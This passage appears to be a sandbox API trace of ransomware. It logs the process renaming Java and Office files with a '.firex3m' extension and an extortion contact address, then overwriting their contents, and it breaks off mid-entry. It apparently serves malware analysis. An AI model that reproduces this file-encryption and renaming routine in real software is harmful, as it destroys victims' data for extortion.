[0129.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~1.FIR")) returned 0x6d5200 [0129.351] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0129.351] GetProcessHeap () returned 0x630000 [0129.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fe1) returned 0x6f60af8 [0129.351] GetProcessHeap () returned 0x630000 [0129.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fe1) returned 0x6ecb478 [0129.352] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.352] ReadFile (in: hFile=0x69c, lpBuffer=0x6f60af8, nNumberOfBytesToRead=0x2fc0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesRead=0x4abff0c*=0x2fc0, lpOverlapped=0x0) returned 1 [0131.289] GetProcessHeap () returned 0x630000 [0131.289] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0131.291] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.291] WriteFile (in: hFile=0x69c, lpBuffer=0x6ecb478*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesWritten=0x4abff0c*=0x2fc0, lpOverlapped=0x0) returned 1 [0131.291] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.291] WriteFile (in: hFile=0x69c, lpBuffer=0x6ece437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece437*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.291] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.291] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.291] CloseHandle (hObject=0x69c) returned 1 [0131.292] GetProcessHeap () returned 0x630000 [0131.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0131.293] GetProcessHeap () returned 0x630000 [0131.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0131.293] GetProcessHeap () returned 0x630000 [0131.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0131.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14349ed5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ffe, dwReserved0=0xb847496, dwReserved1=0x6f60af0, cFileName="splash_11@2x-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~1.FIR")) returned 0x6d5200 [0131.295] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.296] Sleep (dwMilliseconds=0x1) [0131.335] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties", len=0x47 | out: pbstr=0x4abff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 1 [0131.335] GetProcessHeap () returned 0x630000 [0131.335] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x5c) returned 0x66a3e0 [0131.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.338] CloseHandle (hObject=0x694) returned 1 [0131.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~1.FIR")) returned 0x6d5240 [0131.366] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0131.367] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0131.367] GetProcessHeap () returned 0x630000 [0131.367] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x727d80 [0131.367] GetProcessHeap () returned 0x630000 [0131.367] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x6ed2090 [0131.367] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.367] ReadFile (in: hFile=0x6d4, lpBuffer=0x727d80, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x4abff0c*=0xea0, lpOverlapped=0x0) returned 1 [0131.417] GetProcessHeap () returned 0x630000 [0131.417] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0131.417] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.417] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x4abff0c*=0xea0, lpOverlapped=0x0) returned 1 [0131.417] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.417] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ed2f2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2f2f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.417] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.417] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.417] CloseHandle (hObject=0x6d4) returned 1 [0131.418] GetProcessHeap () returned 0x630000 [0131.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0131.418] GetProcessHeap () returned 0x630000 [0131.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0131.418] GetProcessHeap () returned 0x630000 [0131.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0131.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1447b32b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xecc, dwReserved0=0xb847496, dwReserved1=0x727d78, cFileName="messages_zh_HK.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~1.FIR")) returned 0x6d5280 [0131.418] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0131.418] Sleep (dwMilliseconds=0x1) [0133.297] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF", len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 1 [0133.297] GetProcessHeap () returned 0x630000 [0133.297] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf0) returned 0x66a3e0 [0133.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.298] CloseHandle (hObject=0x4dc) returned 1 [0133.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.300] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0413~1.FIR")) returned 0x6d5200 [0133.301] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.301] GetProcessHeap () returned 0x630000 [0133.301] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x727d80 [0133.301] GetProcessHeap () returned 0x630000 [0133.301] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x717930 [0133.301] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.301] ReadFile (in: hFile=0x4dc, lpBuffer=0x727d80, nNumberOfBytesToRead=0xd40, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x4abff0c*=0xd40, lpOverlapped=0x0) returned 1 [0133.447] GetProcessHeap () returned 0x630000 [0133.447] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0133.447] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.447] WriteFile (in: hFile=0x4dc, lpBuffer=0x717930*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x717930*, lpNumberOfBytesWritten=0x4abff0c*=0xd40, lpOverlapped=0x0) returned 1 [0133.447] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.447] WriteFile (in: hFile=0x4dc, lpBuffer=0x71866f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71866f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.447] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.448] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.448] CloseHandle (hObject=0x4dc) returned 1 [0133.448] GetProcessHeap () returned 0x630000 [0133.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717930 | out: hHeap=0x630000) returned 1 [0133.448] GetProcessHeap () returned 0x630000 [0133.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0133.449] GetProcessHeap () returned 0x630000 [0133.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0133.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x157e317c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd7c, dwReserved0=0xb847496, dwReserved1=0x727d78, cFileName="AN04134_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0413~1.FIR")) returned 0x6d5200 [0133.449] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.449] Sleep (dwMilliseconds=0x1) [0133.479] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 1 [0133.479] GetProcessHeap () returned 0x630000 [0133.479] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd0) returned 0x66a3e0 [0133.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.479] CloseHandle (hObject=0x69c) returned 1 [0133.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.482] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0125~1.FIR")) returned 0x6d5380 [0133.482] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0133.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.483] GetProcessHeap () returned 0x630000 [0133.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xae1) returned 0x6fc3c18 [0133.483] GetProcessHeap () returned 0x630000 [0133.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xae1) returned 0x72d0868 [0133.483] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.483] ReadFile (in: hFile=0x69c, lpBuffer=0x6fc3c18, nNumberOfBytesToRead=0xac0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc3c18*, lpNumberOfBytesRead=0x4abff0c*=0xac0, lpOverlapped=0x0) returned 1 [0133.604] GetProcessHeap () returned 0x630000 [0133.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0133.605] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.605] WriteFile (in: hFile=0x69c, lpBuffer=0x72d0868*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0868*, lpNumberOfBytesWritten=0x4abff0c*=0xac0, lpOverlapped=0x0) returned 1 [0133.605] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.605] WriteFile (in: hFile=0x69c, lpBuffer=0x72d1327*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d1327*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.605] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.605] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.605] CloseHandle (hObject=0x69c) returned 1 [0133.606] GetProcessHeap () returned 0x630000 [0133.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d0868 | out: hHeap=0x630000) returned 1 [0133.606] GetProcessHeap () returned 0x630000 [0133.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc3c18 | out: hHeap=0x630000) returned 1 [0133.606] GetProcessHeap () returned 0x630000 [0133.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0133.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x159609e8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0xb847496, dwReserved1=0x6fc3c10, cFileName="AN01251_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0125~1.FIR")) returned 0x6d52c0 [0133.607] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0133.607] Sleep (dwMilliseconds=0x1) [0133.638] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", 